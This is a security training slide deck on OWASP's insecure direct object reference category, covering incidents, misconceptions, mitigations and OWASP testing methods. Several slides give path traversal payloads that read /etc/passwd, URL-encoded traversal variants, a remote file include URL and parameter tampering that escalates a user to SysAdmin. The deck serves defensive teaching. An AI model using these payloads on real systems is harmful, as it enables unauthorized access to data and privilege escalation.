OWASP Top 10 A4 – Insecure Direct Object Reference
8 likes3,863 views
The document discusses insecure direct object references (IDOR) as a vulnerability where attackers can access unauthorized data by manipulating references to internal objects without proper access controls. It highlights historical examples, common misconceptions about security measures like HTTPS, and provides mitigation strategies such as using unpredictable object identifiers and performing server-side authorization checks. Additionally, it outlines testing techniques and common tools for identifying such vulnerabilities in web applications.
OWASP Top 10 A4 – Insecure Direct Object Reference
- 1. OWASP Top 10 A4 – Insecure Direct Object Reference Narudom Roongsiriwong CISSP
- 2. WhoAmI ● Lazy Blogger – Japan, Security, FOSS, Politics, Christian – http://narudomr.blogspot.com ● Information Security since 1995 ● Web Application Development since 1998 ● Head of IT Security, Kiatnakin Bank PLC (KKP) ● Contact: [email protected]
- 3. What Is It? • Occurs when a developer exposes a reference to an internal implementation object, such as a file, directory, or database key. • Without an access control check or other protection, attackers can manipulate these references to access unauthorized data.
- 4. Impact = Moderate ● Such flaws can compromise all the data that can be referenced by the parameter. ● Unless object references are unpredictable, it’s easy for an attacker to access all available data of that type. ● Consider the business value of the exposed data as well as the business impact of public exposure of the vulnerability.
- 5. Why Care About Insecure Direct Object References? ● Although this vulnerability is easy to exploit and easy to detect, it is still usually ignored by developers ● June 2000, Australian Treasury GST(Goods and Services Tax) website was hacked and private information from 17,000 businesses breached, just by a student typing in an URL ● February 2014, Insecure Direct Object Reference allow attacker to delete all the posted thread and comments on Yahoo's Suggestion Board website → 1.5 million records
- 6. Insecure Direct Object Web Page Query
- 7. Not Only Web Page but XML Data Island Client Account ID Account ID
- 8. Not Only Web Page but XML Data Island
- 9. Not Only Web Page but XML Data Island
- 10. Not Only Web Page but XML Data Island
- 11. Misunderstanding on Insecure Direct Object Reference ● We use HTTPS nobody can change my POST parameters – HTTPS protects data in transportation not the end point, attackers can manipulate data using tools like OWASP Zap Proxy, Burp Suite or even Firebug plug-in for Firefox ● We use AJAX to exchange data browser's developer mode cannot see or change data – Proxy tools like OWASP Zap Proxy and Burp Suites are able to intercept HTTP(S) protocol including AJAX communication ● Our mobile application with HTTPS cannot be intercepted, nobody can change object references – No, attackers can run your app on rooted or jail-broken devices or in emulator or connect to access point with proxy tools as named above
- 12. Misunderstanding on Insecure Direct Object Reference ● We can encrypt requests before POSTing – Be sure you use encryption not encoding like base64 – If you use symmetric encryption, the key will be on client side somewhere. ● Web application, the encryption key must be somewhere in your scripts. ● Mobile application, attackers can reverse engineering you app and find the key – If you use asymmetric encryption, it is safe, however your server processing will increase significantly.
- 13. Mitigations ● Do not expose internal keys or identifiers – Keep user ID or key in a session variable – Use a temporary mapping value (See next slide) ● Use object references that are challenging to guess – GUID/UUID – Random Number ● Perform server-side authorization checks before object accesses (strongly recommend) – Verify the parameter value is properly formatted – Verify the user is allowed to access the target object – Verify the requested mode of access is allowed to the target object (e.g., read, write, delete)
- 14. Temporary Mapping Value Account Label MapID 112536 Deposit 1 115696 Current 2 Temporary In session memory
- 15. How Do You Test Applications? • Testing for insecure direct object references can be hard to automate – Automated scanners do not know what users should have access to what data • Inspect parameters being passed to applications • Manipulate parameters to see if sensitive information is disclosed • Look at pages whose only purpose is to display information about a single object – Documents – Accounts – Statements
- 16. OWASP Testing Guide for A4 ● Authorization Testing – Testing Directory traversal/file include (OTG-AUTHZ-001) – Testing for Bypassing Authorization Schema (OTG-AUTHZ-002) – Testing for Privilege escalation (OTG-AUTHZ- 003) – Testing for Insecure Direct Object References (OTG-AUTHZ-004)
- 17. Testing Directory traversal/file include (OTG-AUTHZ-001): Enumeration ● Are there request parameters which could be used for file-related operations? ● Are there unusual file extensions? ● Are there interesting variable names? – http://example.com/index.php?file=content – http://example.com/main.cgi?home=index.htm – http://example.com/getUserProfile.jsp?item=ikki.html ● Is it possible to identify cookies used by the web application for the dynamic generation of pages or templates? Cookie: ID=d9ccd3f4f9f18cc1:T- M=2166255468:LM=1162655568:S=3cFpqbJgMSSPKVMV:- TEMPLATE=flower Cookie: USER=1826cc8f:PSTYLE=GreenDotRed
- 18. Testing Directory traversal/file include (OTG-AUTHZ-001): Testing Techniques ● Insert the malicious string “../../../../” to include the password hash file for a Linux/Unix or boot.ini for Windows system – http://example.com/getUserProfile.jsp? item=../../../../etc/passwd ● For the cookies example: – Cookie: USER=1826cc8f:PSTYLE=../../../../etc/passwd ● Try to include files and scripts located on external website. – http://example.com/index.php? file=http://www.owasp.org/malicioustxt ● Try to show the source code of a CGI component – http://example.com/main.cgi?home=main.cgi
- 19. Testing Directory traversal/file include (OTG-AUTHZ-001): Testing Techniques If “../” does not work, try character encoding such as URL encoding, double URL encoding, Unicode/UTF-8 encoding Encoding Test with Represent URL %2e%2e%2f ../ %2e%2e/ ../ ..%2f ../ %2e%2e%5c .. %2e%2e .. ..%5c .. Double URL %252e%252e%255c .. ..%255c .. Unicode/UTF-8 ..%c0%af ../ ..%c1%9c ..
- 20. Testing Directory traversal/file include (OTG-AUTHZ-001): Testing Tools ● DotDotPwn - The Directory Traversal Fuzzer - http://dotdotpwn.sectester.net ● Path Traversal Fuzz Strings (from WFuzz Tool) - http://code.google.com/p/wfuzz/source/brows e/trunk/wordlist/Injections/Traversal.txt ● Web Proxy (Burp Suite, Paros, WebScarab,OWASP: Zed Attack Proxy (ZAP)) ● Encoding/Decoding tools
- 21. Testing Other Authorization (OTG-AUTHZ-002 to 004): Prerequisite ● Needs to map out all locations in the application where user input is used to reference objects directly. – A database row – A file – Application pages ● Having at least two (often more) users to cover different owned objects and functions – Users each having access to different objects (such as purchase information, private messages, etc.) – Users with different privileges (for example administrator users) to see whether there are direct references to application functionality
- 22. Testing for Bypassing Authorization Schema (OTG-AUTHZ-002): Summary ● Focus on verifying how the authorization schema has been implemented for each role or privilege to get access to reserved functions and resources. ● States to verify – User is not authenticated – After the log-out – User that holds a different role or privilege ● Track all the administrative functions when: – Logging as a user with standard privileges – Logging as a user with a different role and for whom that action should be denied
- 23. Testing for Bypassing Authorization Schema (OTG-AUTHZ-002): How to test ● Testing for access to administrative functions – Example, Try to post to administrator's “adduser” when logging on as non-administrative roles ● Testing for access to resources assigned to a different role – Example, analyze an application that uses a shared directory
- 24. Testing for Privilege escalation (OTG- AUTHZ-003): Summary ● Verify that it is not possible for a user to modify his or her privileges or roles inside the application ● Privilege escalation occurs when a user gets access to more resources or functionality than they are normally allowed ● The degree of escalation depends on what privileges the attacker is authorized to possess, and what privileges can be obtained in a successful exploit ● Vertical escalation – access resources granted to more privileged accounts (e.g., acquiring administrative privileges for the application) ● Horizontal escalation – access resources granted to a similarly configured account (e.g., in an online banking application, accessing information related to a different user)
- 25. Testing for Privilege escalation (OTG- AUTHZ-003): How to test POST /user/viewOrder.jsp HTTP/1.1 Host: www.example.com ... groupID=grp001&orderID=0001 This POST allows the user that belongs to grp001 to access order #0001, logon with a user that does not belong to grp001 then intercept the post & try to modify the parameters to gain access privileged data
- 26. Testing for Privilege escalation (OTG- AUTHZ-003): How to test HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Date: Wed, 1 Apr 2006 13:51:20 GMT Set-Cookie: USER=aW78ryrGrTWs4MnOd32Fs51yDqp; path=/; domain=www.example.com Set-Cookie: SESSION=k+KmKeHXTgDi1J5fT7Zz; path=/; domain= www.example.com Cache-Control: no-cache Pragma: No-cache Content-length: 247 Content-Type: text/html Expires: Thu, 01 Jan 1970 00:00:00 GMT Connection: close <form name="autoriz" method="POST" action = "visual.jsp"> <input type="hidden" name="profile" value="SysAdmin"> <body onload="document.forms.autoriz.submit()"> </td> </tr> This HTML shows a hidden field to the user after a successful administrative user authentication. Logon with another non-administrative user and modify the value of the variable "profile" to "SysAdmin"? Is it possible to become administrator?
- 27. Testing for Insecure Direct Object References (OTG-AUTHZ-004): Scenarios ● Retrieve a database record – http://foo.bar/somepage?invoice=12345 ● Perform an operation in the application – http://foo.bar/changepassword?user=someuser ● Retrieve a file system resource – http://foo.bar/showImage?img=img00011 ● Access application functionality – http://foo.bar/accessPage?menuitem=12
- 28. Testing for Insecure Direct Object References (OTG-AUTHZ-004): Where to Look for ● URL Query String ● Cookie (HTTP Header) ● Request Body (Post Method) – Query String – XML SOAP Interface – JSON Document ● Check Web URL, Web Forms, AJAX Communication, Mobile HTTP Request and Web Service
- 29. Common Tools for Authorization Testing ● Web Proxy (Burp Suite, Paros, WebScarab,OWASP: Zed Attack Proxy (ZAP))
- 30. Recap ● Insecure direct object references occur when an application exposes internal references to objects via parameters passed to the application ● To guard against: – Do not expose internal keys or identifiers for objects – Use object references that are challenging to guess – Perform server-side authorization checks before object accesses (strongly recommend)
- 31. References • OWASP – OWASP Top 10 2010-A4-Insecure Direct Object References – ESAPI Access Reference Map – ESAPI Access Control API (See isAuthorizedForData(), isAuthorizedForFile(), isAuthorizedForFunction()) • External – CWE Entry 639 on Insecure Direct Object Reference – CWE Entry 22 on Path Traversal (an example of a Direct Object Reference attack)